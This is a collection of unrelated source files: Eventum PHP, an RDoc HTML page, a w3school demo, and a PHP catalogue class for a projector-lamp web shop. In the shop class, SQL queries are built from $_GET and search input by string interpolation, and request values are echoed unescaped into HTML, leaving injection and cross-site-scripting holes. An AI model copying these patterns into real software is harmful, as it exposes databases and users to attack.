ORDER BY nws_title ASC'; try { $res = DB_Helper::getInstance()->getAll($stmt); } catch (DatabaseException $e) { return ''; } // get the list of associated projects foreach ($res as &$row) { $row['projects'] = implode(', ', array_values(self::getAssociatedProjects($row['nws_id']))); } return $res; } /** * Method used to get the list of associated projects for a given * news entry. * * @param int $nws_id The news ID * @return array The list of projects */ public static function getAssociatedProjects($nws_id) { $stmt = 'SELECT prj_id, prj_title FROM `project`, `project_news` WHERE prj_id=prn_prj_id AND prn_nws_id=?'; try { $res = DB_Helper::getInstance()->getPair($stmt, [$nws_id]); } catch (DatabaseException $e) { return []; } return $res; } }
eventum/eventum
lib/eventum/class.news.php
PHP
gpl-2.0
9,396
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>options_class.rb~ - RDoc Documentation</title> <script type="text/javascript"> var rdoc_rel_prefix = "../../../"; </script> <script src="../../../js/jquery.js"></script> <script src="../../../js/darkfish.js"></script> <link href="../../../css/fonts.css" rel="stylesheet"> <link href="../../../css/rdoc.css" rel="stylesheet"> <body id="top" role="document" class="file"> <nav role="navigation"> <div id="project-navigation"> <div id="home-section" role="region" title="Quick navigation" class="nav-section"> <h2> <a href="../../../index.html" rel="home">Home</a> </h2> <div id="table-of-contents-navigation"> <a href="../../../table_of_contents.html#pages">Pages</a> <a href="../../../table_of_contents.html#classes">Classes</a> <a href="../../../table_of_contents.html#methods">Methods</a> </div> </div> <div id="search-section" role="search" class="project-section initially-hidden"> <form action="#" method="get" accept-charset="utf-8"> <div id="search-field-wrapper"> <input id="search-field" role="combobox" aria-label="Search" aria-autocomplete="list" aria-controls="search-results" type="text" name="search" placeholder="Search" spellcheck="false" title="Type to search, Up and Down to navigate, Enter to load"> </div> <ul id="search-results" aria-label="Search Results" aria-busy="false" aria-expanded="false" aria-atomic="false" class="initially-hidden"></ul> </form> </div> </div> <div id="project-metadata"> <div id="fileindex-section" class="nav-section"> <h3>Pages</h3> <ul class="link-list"> <li><a href="../../../Rakefile.html">Rakefile</a> <li><a href="../../../Rakefile~.html">Rakefile~</a> <li><a href="../../../doc_bkp/arbol.html">arbol</a> <li><a href="../../../doc_bkp/commands.html">commands</a> <li><a href="../../../doc_bkp/descrption.html">descrption</a> <li><a href="../../../lib/d3249/widget/list_selector_rb~.html">list_selector.rb~</a> <li><a href="../../../lib/d3249/widget/path_selector_rb~.html">path_selector.rb~</a> <li><a href="../../../lib/facturasXML/error/exeptions_rb~.html">exeptions.rb~</a> <li><a href="../../../lib/facturasXML/factura_rb~.html">factura.rb~</a> <li><a href="../../../lib/facturasXML/gui/facturas_xml_gui_rb~.html">facturas_xml_gui.rb~</a> <li><a href="../../../lib/facturasXML/logger/logger_rb~.html">logger.rb~</a> <li><a href="../../../lib/facturasXML/options_parser/columns_rb~.html">columns.rb~</a> <li><a href="../../../lib/facturasXML/options_parser/command_line_parser_rb~.html">command_line_parser.rb~</a> <li><a href="../../../lib/facturasXML/options_parser/options_class_rb~.html">options_class.rb~</a> <li><a href="../../../lib/facturasXML/options_parser/options_parser_bak.html">options_parser.bak</a> <li><a href="../../../lib/facturasXML/reporter_rb~.html">reporter.rb~</a> <li><a href="../../../test/files/10-Bertico2_xml.html">10-Bertico2.xml</a> <li><a href="../../../test/files/LOGFILE_log.html">LOGFILE.log</a> <li><a href="../../../test/files/MEAM620813JN1_CDA_68_UAZ680906NI4_xml.html">MEAM620813JN1_CDA_68_UAZ680906NI4.xml</a> <li><a href="../../../test/files/OXXO_xml.html">OXXO.xml</a> <li><a href="../../../test/files/REPORTE_csv.html">REPORTE.csv</a> <li><a href="../../../test/files/invalid_xml.html">invalid.xml</a> <li><a href="../../../test/files/sanborns_xml.html">sanborns.xml</a> <li><a href="../../../test/test_FacturasXML_rb~.html">test_FacturasXML.rb~</a> </ul> </div> </div> </nav> <main role="main" aria-label="Page lib/facturasXML/options_parser/options_class.rb~"> <p>require_relative &#39;columns.rb&#39;</p> <p>module <a href="../../../FacturasXML.html">FacturasXML</a></p> <pre class="ruby"><span class="ruby-keyword">module</span> <span class="ruby-constant">OptionsParser</span> <span class="ruby-keyword">class</span> <span class="ruby-constant">Options</span> <span class="ruby-identifier">attr_accessor</span> :<span class="ruby-identifier">logfile</span>,:<span class="ruby-identifier">outfile</span>,:<span class="ruby-identifier">cols_headers</span>,:<span class="ruby-identifier">directory</span>,:<span class="ruby-identifier">t_position</span>,:<span class="ruby-identifier">cols_proc_list</span> <span class="ruby-identifier">attr_writer</span> :<span class="ruby-identifier">total</span> <span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span> <span class="ruby-identifier">@@c_procs</span> = <span class="ruby-constant">FacturasXML</span><span class="ruby-operator">::</span><span class="ruby-constant">OptionsParser</span><span class="ruby-operator">::</span><span class="ruby-constant">COLUMNS_PROCS</span> <span class="ruby-ivar">@opts_list</span> = {} <span class="ruby-ivar">@logfile</span> = <span class="ruby-string">&#39;LOGFILE.log&#39;</span> <span class="ruby-ivar">@outfile</span> = <span class="ruby-string">&#39;RESUMEN.csv&#39;</span> <span class="ruby-ivar">@cols_headers</span> = <span class="ruby-string">&quot;Archivo\tFecha\tNombre del emisor\tTotal&quot;</span> <span class="ruby-ivar">@total</span> = <span class="ruby-keyword">false</span> <span class="ruby-ivar">@t_position</span> = <span class="ruby-value">4</span> <span class="ruby-ivar">@directory</span> = <span class="ruby-string">&quot;.&quot;</span> <span class="ruby-ivar">@cols_proc_list</span> = [<span class="ruby-identifier">@@c_procs</span>[<span class="ruby-string">&quot;a&quot;</span>], <span class="ruby-identifier">@@c_procs</span>[<span class="ruby-string">&quot;fe&quot;</span>], <span class="ruby-identifier">@@c_procs</span>[<span class="ruby-string">&quot;en&quot;</span>], <span class="ruby-identifier">@@c_procs</span>[<span class="ruby-string">&quot;t&quot;</span>]] <span class="ruby-keyword">end</span> <span class="ruby-keyword">def</span> <span class="ruby-identifier">total?</span> <span class="ruby-ivar">@total</span> <span class="ruby-keyword">end</span> <span class="ruby-keyword">end</span> <span class="ruby-keyword">end</span> </pre> <p>end</p> </main> <footer id="validator-badges" role="contentinfo"> <p><a href="http://validator.w3.org/check/referer">Validate</a> <p>Generated by <a href="http://docs.seattlerb.org/rdoc/">RDoc</a> 4.2.0. <p>Based on <a href="http://deveiate.org/projects/Darkfish-RDoc/">Darkfish</a> by <a href="http://deveiate.org">Michael Granger</a>. </footer>
d3249/facturasxml
doc/lib/facturasXML/options_parser/options_class_rb~.html
HTML
gpl-2.0
6,806
<html> <!-- Mirrored from www.w3school.com.cn/tiy/loadtext.asp?f=hdom_style_bordercollapse by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 02 Dec 2015 07:14:28 GMT --> <!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=GB2312" /><!-- /Added by HTTrack --> <head> <script type="text/javascript"> function setBorderCollapse() { document.getElementById('myTable').style.borderCollapse="collapse"; } </script> </head> <body> <table border="1" id="myTable"> <tr> <td>100</td> <td>200</td> </tr> <tr> <td>300</td> <td>400</td> </tr> </table> <br /> <input type="button" onclick="setBorderCollapse()" value="Collapse border"> </body> <!-- Mirrored from www.w3school.com.cn/tiy/loadtext.asp?f=hdom_style_bordercollapse by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 02 Dec 2015 07:14:28 GMT --> </html>
platinhom/ManualHom
Coding/W3School/W3CN/www.w3school.com.cn/tiy/loadtext5fd7.html
HTML
gpl-2.0
858
<?php /** * Created by PhpStorm. * User: brian * Date: 1/1/16 * Time: 4:44 PM */ class NoControllerException extends Exception{ private $controller_file; private $route; public function setControllerFile($controller_file) { $this->controller_file=$controller_file; } /** * @return String */ public function getControllerFile() { return $this->controller_file; } /** * @param mixed $route */ public function setRoute($route) { $this->route = $route; } /** * @return mixed */ public function getRoute() { return $this->route; } }
danleyb2/layout
classes/NoControllerException.class.php
PHP
gpl-2.0
667
<?php /* * Description of hpl_zoncat * Classe pour la G° de l'affichage des zones du catalogue d'HotProjectorLamps, * en fonction du contexte de navigation => objet hpl_ctxnav prérequis * @author samsonic */ class hpl_zonecatalogue { //ATTRIBUTS private $ctxnav; //Objet contexte de navigation prérequis, récupéré à la construction private $chainesql; //chaîne SQL de la requête à exécuter sur la base active (connexion ouverte prérequise) private $jeuresultant; //Ressource représentant les données du catalogue répondant aux params définis private $train; //Train de navigation ou Fil d'Ariane = succession des liens activés par le 'fureteur' private $jeuxmodeles=array(); //Tableau des ressources représentant les modèles répondant aux critères de la recherche private $jeuxreferences=array(); //Tableau des ressources représentant les references-composants répondant aux critères de la recherche private $locint; //Objet hpl_localisationinterface pour accès aux données localisées de l'interface private $labelproduit; private $lienproduit; private $typesproduit; private $cacheproduit; private $typ; private $i_max=0; private $browser; private $nombre_best_seller; //METHODES// //Construction de l'objet public function __construct(&$contextenavigation,&$localisationinterface, &$CP){ $info_browser = ezl_divers_main_page::getBrowser(); $this->browser = $info_browser['nom']; //Opera Netscape Safari Chrome Firefox MSIE $this->ctxnav=$contextenavigation; $this->locint=$localisationinterface; $this->cacheproduit=$CP; //Si navigation 'rateau' if (($this->ctxnav->vue=='constructeurs')||($this->ctxnav->vue=='produits_hotes')||($this->ctxnav->vue=='composants')){ $this->chainesql="SELECT * FROM el_v_{$this->ctxnav->vue}"; //début de la définition de la chaîne SQL (instruction et source) switch ($this->ctxnav->vue){ //suite de la définition (clause where) suivant les paramètres définis dans le contexte de navigation case 'constructeurs': if ($this->ctxnav->params['code_type_produit']!="") $this->chainesql.=" WHERE code_type_produit='{$this->ctxnav->params['code_type_produit']}' ORDER BY libelle_constructeur"; break; case 'produits_hotes': if ($this->ctxnav->params['libelle_constructeur']!="") $this->chainesql.=" WHERE code_type_produit='{$this->ctxnav->params['code_type_produit']}' AND libelle_constructeur='{$this->ctxnav->params['libelle_constructeur']}' ORDER BY libelle_produit"; break; case 'composants': if ($this->ctxnav->params['libelle_produit']!="") $this->chainesql.=" WHERE code_type_produit='{$this->ctxnav->params['code_type_produit']}' AND libelle_constructeur='{$this->ctxnav->params['libelle_constructeur']}' AND libelle_produit='{$this->ctxnav->params['libelle_produit']}' ORDER BY le_prix DESC"; if ($this->ctxnav->params['libelle_composant']!="") $this->chainesql.=' WHERE code_type_produit="'.$this->ctxnav->params['code_type_produit'].'" AND libelle_constructeur="'.$this->ctxnav->params['libelle_constructeur'].'" AND ref_constructeur_composant="'.$this->ctxnav->params['libelle_composant'].'" ORDER BY le_prix DESC'; break; } $this->jeuresultant=mysql_query($this->chainesql)or die('Erreur SQL !<br />'.$this->chainesql.'<br />'.mysql_error()); $this->labelproduit=$this->locint->getData('data_'.$this->ctxnav->params['code_type_produit'],'title'); $this->lienproduit=$this->locint->getData('data_'.$this->ctxnav->params['code_type_produit'],'href'); //echo '<div style="position:absolute; z-index:555555;">'.$this->chainesql.'</div>'; } //Si navigation par champ recherche elseif($this->ctxnav->vue=='resultatsrecherche'){ //extraction des chaînes passées en zone recherche $termes=explode(" ",$this->ctxnav->params['chainerecherchee']); //tableau des types de produit utilisés à la place de la vue el_v_types_composant pour permettre d'ordonner différement le parcours $this->typesproduit=array(1=>'OI'); //définition des jeux des réponses concordantes parmi les modèles des produits hotes et parmi les références-composants foreach($this->typesproduit as $type){ //1 jeu par type de produit $sqlmodeles = "SELECT DISTINCT * FROM el_v_produits_hotes WHERE code_type_produit='$type'"; $sqlreferences = "SELECT DISTINCT * FROM el_v_composants WHERE code_type_produit='$type'"; foreach($termes as $key=>$terme){ $sqlmodeles.=" AND ((libelle_constructeur like '%$terme%') OR (libelle_produit like '%$terme%'))"; $sqlreferences.=" AND (ref_interne_composant like '%$terme%')"; } $sqlreferences.=" GROUP BY ref_interne_composant"; $this->jeuxmodeles[$type]=mysql_query($sqlmodeles)or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error()); $this->jeuxreferences[$type]=mysql_query($sqlreferences)or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error()); } } if ( strpos (' '.$refconstructeur, 'ELPLP' )>0 ) { if ( $_SESSION['languages_id']==2 ) $this->tip = "type "; else if ( $_SESSION['languages_id']==3 ) $this->tip = "tipo "; } }//fin de __construct() //Génération des pages 'catalogue' du site public function faireZoneCatalogue(){ global $loc; ?> <script> $(function (){ $('.carousel').carousel(cycle); </script> <?php echo '<div id="rightblock">';echo "\n"; if ($this->ctxnav->vue=='accueil'||$this->ctxnav->vue==''){ ?> <script type="text/javascript"> var Popup = function Popup(Adresse_de_la_page,Nom_de_la_fenetre){ window.open(Adresse_de_la_page,Nom_de_la_fenetre,'height=600,width=800,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,directories=no,status=no,left=300px') } </script> <?php //echo '<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>'; echo '<script language="Javascript" src="includes/modules/slides_hpl/slides.min.jquery.js"></script>'; echo '<script language="Javascript" src="includes/modules/slides_hpl/slide_script.js"></script>'; //$info_browser = ezl_divers_main_page::getBrowser(); //$browser = $info_browser['nom']; //Opera Netscape Safari Chrome Firefox MSIE // if($this->browser=="Firefox") $style="position:absolute; margin-top:3px; "; echo ' <div id="container" style="'.$style.'"> <div id="example"> <div id="slides"> <div class="slides_container"> <div class="slide"> <img src="hpl_images/slide/banniere1_'.$_SESSION['languages_id'].'.png" width="501" height="254" alt="'.SLIDE_IMG1_HOT.'" /> </div> <div class="slide"> <img src="hpl_images/slide/banniere2_'.$_SESSION['languages_id'].'.png"width="501" height="254" alt="'.SLIDE_IMG2_TROMPER.'" /> </div> <div class="slide"> <img src="hpl_images/slide/banniere3_'.$_SESSION['languages_id'].'.png" width="501" height="254" alt="'.SLIDE_IMG3_QUALITE.'" /> </div> <div class="slide"> <img src="hpl_images/slide/banniere4_'.$_SESSION['languages_id'].'.png" width="501" height="254" alt="'.SLIDE_IMG4_150.'" /> </div> <div class="slide"> <img src="hpl_images/slide/banniere5_'.$_SESSION['languages_id'].'.png" width="501" height="254" alt="'.SLIDE_IMG5_DEAL.'" /> </div> </div> <a href="" class="prev"><img src="hpl_images/slide/prev.png"/></a> <a href="" class="next"><img src="hpl_images/slide/next.png"/></a> </div> </div> </div>'; /* echo '<div id="advblock">';echo "\n"; echo '<ul>';echo "\n"; echo '<li id="accueil_li1" style="'.$this->locint->getData('accueil_li1','style').'"><img id="accueil_img1" src="'.$this->locint->getData('accueil_img1','src').'" /><span id="accueil_span1" style="'.$this->locint->getData('accueil_span1','style').'">'.$this->locint->getData('accueil_span1','maintext').'</span></li>';echo "\n"; echo '<li id="accueil_li2" style="'.$this->locint->getData('accueil_li2','style').'"><img id="accueil_img2" src="'.$this->locint->getData('accueil_img2','src').'" /><span id="accueil_span2" style="'.$this->locint->getData('accueil_span2','style').'">'.$this->locint->getData('accueil_span2','maintext').'</span></li>';echo "\n"; echo '<li id="accueil_li3" style="'.$this->locint->getData('accueil_li3','style').'"><img id="accueil_img3" src="'.$this->locint->getData('accueil_img3','src').'" /><span id="accueil_span3" style="'.$this->locint->getData('accueil_span3','style').'">'.$this->locint->getData('accueil_span3','maintext').'</span></li>';echo "\n"; echo '<li id="accueil_li4" style="'.$this->locint->getData('accueil_li4','style').'"><img id="accueil_img4" src="'.$this->locint->getData('accueil_img4','src').'" /><span id="accueil_span4" style="'.$this->locint->getData('accueil_span4','style').'">'.$this->locint->getData('accueil_span4','maintext').'</span></li>';echo "\n"; echo '</ul>';echo "\n"; echo '</div>';echo "\n";*/ echo '</div>';echo "\n"; //$this->faireSelecteur(); //echo'<div id="extremedroit"> </div>'; $langue = $loc->langue; echo '<div id="texte_administration" style="position:absolute;margin-top:270px;margin-left:170px;height:200px;width:488px;overflow-y:scroll;padding-left:20px;">'.getLocalizedText('texte_deroulant',$langue); //Appel de getLocalizedText(), fonction définie dans includes/functions/functions_content.php echo '</div>'; } else{ //Définition d'un block "innerwrapper" pour afficher 1 fond différent pour la vue "composants" //$color=($this->ctxnav->vue=="composants")?'background-color:#E4E4E4;':'background-color:white;'; $color=($this->ctxnav->vue=="composants")?'border:1px solid #E4E4E4;':'background-color:none;'; //background-color:white avant 27/03/2013 echo '<div id="innerWrapper" style="'.$color.'margin-top:5px;">';echo "\n"; switch ($this->ctxnav->vue){ //Génération différente suivant la vue demandée case "constructeurs": $this->faireTrain(1); $this->faireVueConstructeurs(); break; case "produits_hotes": $this->faireTrain(1); $this->faireVueProduitsHotes(); break; case "composants": $this->faireTrain(1); $this->faireVueComposants(1,$this->jeuresultant,($this->ctxnav->params['libelle_composant']!="")); break; case "resultatsrecherche": $this->faireTrain(0); $this->faireVueResultats(); break; case "rappel": $this->faireVueRappel(); break; } } }//fin faireZoneCatalogue() private function faireTrain($ctxrateau){ //ctxrateau=0 si l'appel provient d'une recherche, =1 si provient de la navigation par menu //definition de la chaîne global $db; $this->train='<a id="train_accueil" href="" title="'.$this->locint->getData('train_accueil','title').'">'.$this->locint->getData('train_accueil','maintext').'</a>'; //Chaîne de base commune aux 2 contextes de navigation (rateau,recherche) if($ctxrateau==0){ $this->train.=' > '.$this->locint->getData('train_resrech','maintext').$this->ctxnav->params[chainerecherchee]; } else{ $titletypeprod=$this->locint->getData('data_'.$this->ctxnav->params['code_type_produit'],'maintext'); $titleconstructeur=$this->locint->getData('data_'.$this->ctxnav->params['code_type_produit'],'src'); $titleproduit=$this->locint->getData('data_'.$this->ctxnav->params['code_type_produit'],'alt'); $this->train .= ' > <a href="'.$this->lienproduit.'.php" title="'.$titletypeprod.'">'.$this->labelproduit.'</a>'; $construc = ($this->ctxnav->params['libelle_constructeur'] == "EPSON") ? ucfirst($this->tip)." ".$this->ctxnav->params['libelle_constructeur'] : $this->ctxnav->params['libelle_constructeur']; if (!empty($this->ctxnav->params['libelle_constructeur'])) $this->train.=" > <a href=\"$this->lienproduit-{$this->ctxnav->params['libelle_constructeur']}.php\" title=\"$titleconstructeur {$this->ctxnav->params['libelle_constructeur']}\">{$construc}</a>"; if (!empty($this->ctxnav->params["libelle_produit"])) $this->train.=" > <a href=\"$this->lienproduit-{$this->ctxnav->params['libelle_constructeur']}-{$this->ctxnav->params["libelle_produit"]}.php\" title=\"$titleproduit {$this->ctxnav->params["libelle_produit"]}\">{$this->ctxnav->params["libelle_produit"]}</a>"; } //affichage echo '<div id="train">';echo "\n"; echo '<h2>'.$this->locint->getData('train_legende','maintext').$this->train.'</h2>';echo "\n"; echo '</div>';echo "\n"; }//fin faireTrain() private function faireVueConstructeurs(){ //Affichage du chapeau $this->faireChapeau(); if(!empty($this->ctxnav->params['code_type_produit'])) { //Affichage des constructeurs dans une table: 3 par ligne echo '<table id="constructeurs" class="zoncat"><tr>'; if (mysql_num_rows($this->jeuresultant)){ $countconstruct=0;//compteur d'éléments par ligne While ($qry_row=mysql_fetch_array($this->jeuresultant)){ $countconstruct+=1; if ($countconstruct>3){ echo '</tr><tr>'; $countconstruct=1; } $link = "$this->lienproduit-".urlencode($qry_row[libelle_constructeur]).'.php';//transformation des slashs en virgule dans le libellé constructeur pour le rewriting echo '<td class="constructeur">'; echo '<a class="dynamicblock" href="'.$link.'"><img align="middle" src="hpl_images/hotes_'.str_replace(" ","",$qry_row[libelle_constructeur]).'.jpg" /><br/>'.$qry_row[libelle_constructeur].'</a>'; echo '</td>'; } echo '</tr></table>'; mysql_data_seek($this->jeuresultant, 0); }else{ echo '<span id="no_constructeur">'.$this->locint->getData('no_constructeur','maintext').$this->lienproduit.'</span>'; } } }//fin faireVueConstructeurs() private function faireChapeau(){ global $db,$loc; //"récupère" l'objet $loc pour accéder à la langue //global $code_page;remplacer par utilisation directe de $_GET['page_code'] //$fdl = $_SESSION["languages_code_el"].'_text'; // Ne renvoie pas de langue //$fdl = $_SESSION["languages_code"].'_text'; // Ne renvoie pas de langue $fld = $loc->langue.'_text'; //Pour remplacer les accès par $_SESSION $sql = 'SELECT '.$fld.' FROM eb_contenus WHERE type_article="Autre" AND format="Chapeau" AND constructeur="'.$_GET['constructeur'].'" AND page="'.$_GET['page_code'].'"'; //Condition sur le type produit "oubliée", sinon il faut le définir pour tous les articles (pas utile tant qu'il n'y a que des lampes) $rs = $db->Execute($sql); $chapeau = $rs->fields[$fld]; //affichage des temoignages client si la page est autremarque $page = $this->quelle_page(); if($page =="autre_marque"){ $this->faireTemoignage_2($_GET['constructeur'],$page); } if (strlen($chapeau)>0){ echo '<div id="chapeau_modeles" style="'.$this->locint->getData('chapeau_modeles','style').'width:60%; margin:0;text-align:justify; color:#005566; font-size:1em;">'.stripslashes($chapeau).'</div>'; //echo '<div id="chapeau_modeles" style="width:60%; color:#005566";>'.stripslashes($chapeau).'</div>'; if($page == "autre_marque"){ echo '<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>'; } }else{ if($this->nombre_best_seller == 0){ echo'<div style="height:150px;width:60%; margin-left:0px; text-align:center; color:#005566;"> '.PAS_DE_LAMPE.'<br/><span style="font-weight:bold;">'.$_GET["constructeur"].'</span>'. '</div>';//div pour combler le vide si pas de constructeur, pour empêcher le décalage des div echo'<script type="text/javascript">document.getElementById("no_lampe").display="none";</script>'; }else{ echo'<div style="height:570px;width:60%; margin-left:0px; text-align:center; color:#005566;"> </div>';//div pour combler le vide si pas de constructeur, pour empêcher le décalage des div } } } private function faireVueProduitsHotes(){ //Affichage de l'image générique en fonction du type produit, en background d'un div contenant une <img> pour le logo switch ($this->ctxnav->params['code_type_produit']){ //structure switch pour le cas où la typologie produit s'étofferait case "OI": //echo '<div id="bandeauproduits" title="'.$this->labelproduit.' '.$this->ctxnav->params[libelle_constructeur].'" style="'.$this->locint->getData('bandeauproduits','style').'">'; break; default: //echo '<div id="bandeauproduits" style="'.$this->locint->getData('bandeauproduits','style').'">'; break; } //Affichage du logo par constructeur $filename='hpl_images/hotes_'.$this->ctxnav->params[libelle_constructeur].'.jpg'; echo '<img style=" position:absolute;" id="logoconstructeur" src="'.$filename.'" alt="'.$this->ctxnav->params[libelle_constructeur].'" title="'.$this->ctxnav->params[libelle_constructeur].'" />'; //affichage de l'animation //echo '<img id="animbandprod" src="'.$this->locint->getData('animbandprod','src').'" alt="'.$this->locint->getData('animbandprod','alt').'" title="'.$this->locint->getData('animbandprod','title').'" />'; //echo '</div>';//fin du div "bandeauproduits" //echo '<span id="infolegale" class="infolegale">'.$this->locint->getData('infolegale','maintext').'</span>'; echo '<br/><br/><br/><br/><br/><br/>'; //Affichage des best_seller $this->faireTableComposants_2(mysql_query(str_replace('[CONSTRUCTEUR]',$_GET['constructeur'],$this->sql_best_seller))); //affichage du chapeau + un div d'ajustement $this->faireChapeau(); switch($this->nombre_best_seller){ case 3: switch($this->browser){ case "Firefox": echo '<div id ="comble" style="height:100px;"></div>'; break; default: echo '<div id ="comble" style="height:100px;"></div>'; } break; case 4: switch($this->browser){ case "Firefox": echo '<div id ="comble" style="height:145px;"></div>'; break; default: echo '<div id ="comble" style="height:220px;"></div>'; } break; } //affichage témoignages clients //$this->faireTemoignage(4,$_GET['constructeur'],$this->browser,0); $this->faireTemoignage_bis($_GET['constructeur'],$this->browser); //***debut** /*//en commentaire depuis le 27/03/2013 $sql = 'SELECT * FROM el_v_composants WHERE code_type_produit="'.$this->ctxnav->params['code_type_produit'].'" AND libelle_constructeur="'.$this->ctxnav->params['libelle_constructeur'].'" GROUP BY ref_constructeur_composant'; $qry = mysql_query($sql)or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error()); $this->faireTableComposants_2($qry); */ //*** fin** //Affichage des composants (si au catalogue et avec un prix) if (mysql_num_rows($this->jeuresultant)>0){ //Affichage des séries $sql="SELECT * FROM eb_series WHERE constructeur='{$this->ctxnav->params['libelle_constructeur']}' ORDER BY serie"; //$res = mysql_query($sql)or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error()); //*********en commentaire le 26/03/2013 $count;//compteur pour suivre le nombre de cellules écrites par ligne /* //*********en commentaire le 26/03/2013 if (mysql_num_rows($res)){ //Si il y a des séries définies pour le constructeur actif echo '<h2>'.$this->locint->getData('data_VPH','title').' '.$this->ctxnav->params['libelle_constructeur'].'</h2>'; echo '<table class="zoncat"><tr>'; while ($res_row=mysql_fetch_array($res)){ $count+=1; if ($count>4){ $count=1; echo '</tr><tr>'; } $lnkserie=$this->lienproduit.'-'.$this->ctxnav->params['libelle_constructeur'].'-serie-'.$res_row['serie'].'.php'; echo '<td><a href="'.$lnkserie.'" title="'.$this->locint->getData('data_VPH','maintext').' '.$res_row['serie'].'">'.$res_row['serie'].'</a></td>'; } echo '</tr></table>'; echo '<br/>'; } */ //Affichage des produits hotes (modèles) if (!empty($this->ctxnav->params['serie'])){ echo '<h2>'.$this->locint->getData('data_VPH','maintext').$this->ctxnav->params['serie'].'</h2>'; echo '<h3><a href="'.$this->lienproduit.'-'.$this->ctxnav->params['libelle_constructeur'].'php">('.$this->locint->getData('data_VPH','maintext').')</a></h3>'; echo '<br/>'; } else{ //en commentaire depuis le 26/03/2013 //echo '<h2 style="width:100%; background:#ffa139; color:#fff;">'.$this->locint->getData('data_VPH','src').$this->ctxnav->params['libelle_constructeur'].'</h2>'; echo "<br/>"; } //$this->faireTableProduitsHote($this->jeuresultant); //*******en commentaire le 26/03/2013 //Affichage des composants (références de lampes pour le constructeur) //echo '<h2>'.$this->locint->getData('data_VCH','src').$this->ctxnav->params['libelle_constructeur'].'</h2>'; // en comentaire depuis 26/03/2013 echo "<br/>"; /* //*************en commentaire le 26/03/2012 $sql = 'SELECT * FROM el_v_composants WHERE code_type_produit="'.$this->ctxnav->params['code_type_produit'].'" AND libelle_constructeur="'.$this->ctxnav->params['libelle_constructeur'].'" GROUP BY ref_constructeur_composant'; $qry = mysql_query($sql)or die('Erreur SQL !<br />'.$sql.'<br />'.mysql_error()); $this->faireTableComposants($qry); */ } else{ //echo '<span id="no_lampe">'.$this->locint->getData('no_lampe','maintext').' <b>'.$this->ctxnav->params['libelle_constructeur'].'</b></span>'; } }//fin faireVueProduitsHotes() private function faireTableProduitsHote($jeu){ $count=0;$rowcount=0; echo '<table id="produitshotes" style="width:99%;" class="zoncat"><tr class="pair">'; While ($qry_row=mysql_fetch_array($jeu)){ if (!empty($this->ctxnav->params["serie"])){ //si on est en vue filtrée sur série $seriepos=strpos($qry_row[libelle_produit],$this->ctxnav->params["serie"]); if ($seriepos===False||$seriepos>0) continue; //et que le produit hote n'en fait pas partie, on passe au suivant } $count+=1; if ($count>3){ $count=1;$rowcount+=1; $clsattrib=($this->estPair($rowcount))?"pair":"impair"; echo '</tr><tr class="'.$clsattrib.'">'; } $this->lienproduit=$this->locint->getData('data_'.$qry_row[code_type_produit],'href'); $link = $this->lienproduit.'-'.$qry_row[libelle_constructeur].'-'.str_replace(chr(176),'_',$qry_row[libelle_produit]).'.php';//transformation des slashs en virgule dans le libelle_produit pour le rewriting echo '<td><a class="dynamicblock" href="'.$link.'" title="'.$this->labelproduit.' '.$qry_row[libelle_constructeur].' '.$qry_row[libelle_produit].'">'.$qry_row[libelle_produit].'</a></td>'; } echo '</tr></table>'; echo '<br/>'; } private function faireTableComposants_2(&$jeucomposants){ $this->nombre_best_seller = mysql_num_rows($jeucomposants); $count=0;$rowcount=0; if($this->browser == "MSIE"){$position = "position:absolute;";}else{$position = "position:absolute;";} echo'<div style="'.$position.' margin-left:520px; margin-top:-100px;">'; if($this->nombre_best_seller != 0 && $this->nombre_best_seller != 1){ echo '<h3 id="caption_bestseller" style="font-size:1.2em; font-weight:normal; text-align:center; color:#fff; background:url(hpl_images/ooooo.png); border-radius:10px; behavior: url(PIE/PIE.php); width:245px\9;"> '.LES.' '.$this->nombre_best_seller.' '.MEILLEURES_VENTES.' <div style="color:blue;">'.$_GET['constructeur'].'</div> </h3><br/>'; } elseif($this->nombre_best_seller == 1){ echo '<h3 id="titre_bestseller" style="font-size:1.2em; font-weight:normal; text-align:center; color:#fff; background:url(hpl_images/ooooo.png); border-radius:10px;"> '.LA_MEILLEURE_VENTE.' <div style="color:blue;">'.$_GET['constructeur'].'</div> </h3><br/>'; } While ($qry_row=mysql_fetch_array($jeucomposants)){ $count++; //******* debut if($_SESSION['languages_id']==3){$langue = "_sp";}else{$langue = "";} if(file_exists('ampoules-videoprojecteur/images_oi'.$langue.'/'.$qry_row[libelle_constructeur].'_'.$qry_row[ref_constructeur_composant].'_B.jpg')){ $img_src='ampoules-videoprojecteur/images_oi'.$langue.'/'.$qry_row[libelle_constructeur].'_'.$qry_row[ref_constructeur_composant].'_B.jpg'; } elseif(file_exists('ampoules-videoprojecteur/images_oi'.$langue.'/'.$qry_row[libelle_constructeur].'_B.jpg')){ $img_src='ampoules-videoprojecteur/images_oi'.$langue.'/'.$qry_row[libelle_constructeur].'_B.jpg'; }else{ $img_src='ampoules-videoprojecteur/'.$qry_row[libelle_constructeur].'_B.jpg'; } $infostock = $this->retournerInfoStock($qry_row[ref_constructeur_composant]); $prixttc = zen_get_products_display_price($qry_row[id_composant]); $htLib = ($_SESSION['languages_id'] == '2') ? ' HT' : ' sin <span style="font-size:0.8em" >I.V.A.</span>'; $prixht = '&euro; '.number_format($qry_row[le_prix], 2, ',', ' ').$htLib; $ttc = ($_SESSION['languages_id'] == 3) ? 'con I.V.A' : 'TTC'; //******* $dataLabel = isset($this->ctxnav->params['libelle_composant'])?'data_OI2':'data_OI'; $this->lienproduit=$this->locint->getData($dataLabel,'href'); $link = $this->lienproduit.'-'.$qry_row[libelle_constructeur].'-'.str_replace(chr(176),'-',$qry_row[ref_constructeur_composant]).'.php';//transformation des slashs en virgule pour le rewriting //***** $ref_sans_elplp = str_replace('ELPLP','LPLP',$qry_row[ref_constructeur_composant]); // $qry_row[ref_constructeur_composant]; echo' <div class="photo_lampex"> <div style=""><img src="'.$img_src.'" width="100" height="100"/></div> </div> <div 